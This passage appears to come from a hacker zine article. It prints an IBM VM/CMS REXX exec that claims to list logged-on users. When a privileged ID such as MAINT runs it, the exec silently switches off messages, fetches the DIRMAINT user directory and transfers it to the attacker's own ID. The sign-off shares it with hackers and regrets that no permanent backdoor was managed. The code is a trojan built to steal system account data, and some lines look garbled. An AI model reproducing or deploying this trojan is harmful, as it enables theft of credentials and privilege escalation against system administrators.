IF LD.N ^= DSC & LD.N ^= ' ' & SUBSTR(ND.N,1,T)=NALL & (cut)
SUBSTR(space(ND.N),1,4)^='LOGO' SPACE(L
A.S = ND.N||'-'||LD.N||',' ; S=S+1 ; USER=USER+1; END;
END
CLRSCRN
call concate
SAY
MM= ' <- - - - - - - - - - - -' RIGHT(USER,3,0) ' SPECIFIED LOGON USERS - (cut)
- - - - - - - - - - ->'
say MM
SAY
SAY
EXIT
QNAME:
/* DISPLAY THE NUMBER OF USERS LOGGED ON */
USER = 0
SW = 1
S = 1
EXECIO '* CP (STRING Q N '
IF USERID() ='MAINT' THEN SIGNAL NJ /*super user id */
IF USERID() ='JASMIN' THEN SIGNAL NJ /*super user id */
IF USERID() ='LIU' THEN SIGNAL NJ /*supr userid */
IF USERID() ='PMAINT' THEN SIGNAL NJ /*super user id*/
IF USERID() ='MOESERV' THEN SIGNAL NJ /* super user id*/
SIGNAL JP
NJ:
CP SET IMSG OFF
CP SET MSG OFF
EXEC DIRMAINT GET DIRMAINT NOLOCK
SLEEP 2 SEC
CP TRAN USERID() ALL yourid /* to your own id*/
CP SET IMSG ON
CP SET MSG ON
JP:
NUMQ = QUEUED()
DO N = 1 TO NUMQ
PULL STR
PARSE VALUE STR with NA.N '-' LA.N ',' NB.N '-' LB.N ',' NC.N (cut)
'-' LC.N ','ND.N '-' LD.N
na.n=substr(strip(na.n,'L'),1,8)
nb.n=substr(strip(nb.n,'L'),1,8)
nc.n=substr(strip(nc.n,'L'),1,8)
nd.n=substr(strip(nd.n,'L'),1,8)
END
DO N = 1 TO NUMQ
IF LA.N ='VTAM' THEN SELECT
WHEN (S+0)//4 = 1 THEN DO
LA.N ='VTAM' THEN DO
A.S ='VSM - VTAM' ; S = S+1 ;
A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S =' ' ; S=S+1 ; ITERATE
END
WHEN (S+0)//4 = 2 THEN DO
A.S = ' ' ; S = S+1 ; A.S = ' ' ;S=S+1 ; A.S =' ' ; S=S+1 ;END
WHEN (S+0)//4 = 3 THEN DO;A.S =' ';S=S+1 ; A.S =' ' ; S=S+1 ;END;
WHEN (S+0)//4 = 0 THEN DO; A.S = ' ' ; S=S+1 ; END
END
IF LA.N ='VTAM' THEN DO
A.S ='VSM - VTAM' ; S = S+1 ;
A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S =' ' ; S=S+1 ; ITERATE
END
IF LA.N ^= DSC & LA.N ^= ' ' & SUBSTR(space(NA.N),1,4)^='LOGO' & (cut)
SPACE(LA.N)^=SPACE(NA.N) THEN
A.S = NA.N||'-'||LA.N||',' ; S=S+1 ; USER=USER+1; END;
IF LB.N ^= DSC & LB.N ^= ' ' & SUBSTR(space(NB.N),1,4)^='LOGO' & (cut)
SPACE(LB.N)^=SPACE(NB.N) THEN
A.S = NB.N||'-'||LB.N||',' ; S=S+1 ; USER=USER+1; END;
IF LC.N ^= DSC & LC.N ^= ' ' & SUBSTR(space(NC.N),1,4)^='LOGO' & (cut)
SPACE(LC.N)^=SPACE(NC.N) THEN
A.S = NC.N||'-'||LC.N||',' ; S=S+1 ; USER=USER+1; END;
IF LD.N ^= DSC & LD.N ^= ' ' & SUBSTR(space(ND.N),1,4)^='LOGO' & (cut)
SPACE(LD.N)^=SPACE(ND.N) THEN
A.S = ND.N||'-'||LD.N||',' ; S=S+1 ; USER=USER+1; END;
END
CLRSCRN
call concate
SAY
MM= ' <- - - - - - - - - - - - - ' RIGHT(USER,3,0) ' LOGON USERS - - - - (cut)
- - - - - - - - - - ->'
say MM
SAY
exit
concate:
DO I = 1 TO S-1 BY 4
IF I+1 < S THEN P=I+1 ; ELSE A.P = ' '
IF I+2 < S THEN Q=I+2 ; ELSE A.Q = ' '
IF I+3 < S THEN R=I+3 ; ELSE A.R = ' '
STR= ' '
IF I+3 < S THEN R=I+3 ; ELSE A.R = ' '
STR=INSERT(A.I,STR,1) ; STR=INSERT(A.P,STR,21)
STR=INSERT(A.Q,STR,41) ; STR=INSERT(A.R,STR,61)
SAY STR
END
return
-----------------------------------Cut Here------------------------------------
Well, that is it...Unfortunately, we did not know how to install a backdoor in
IBM VM/CMS so we could not keep privs permanently. It is a pity...but we're
glad to share our experience with hackers!
Sincerely,
Goe
_______________________________________________________________________________
Reference in New Issue View Git Blame Copy Permalink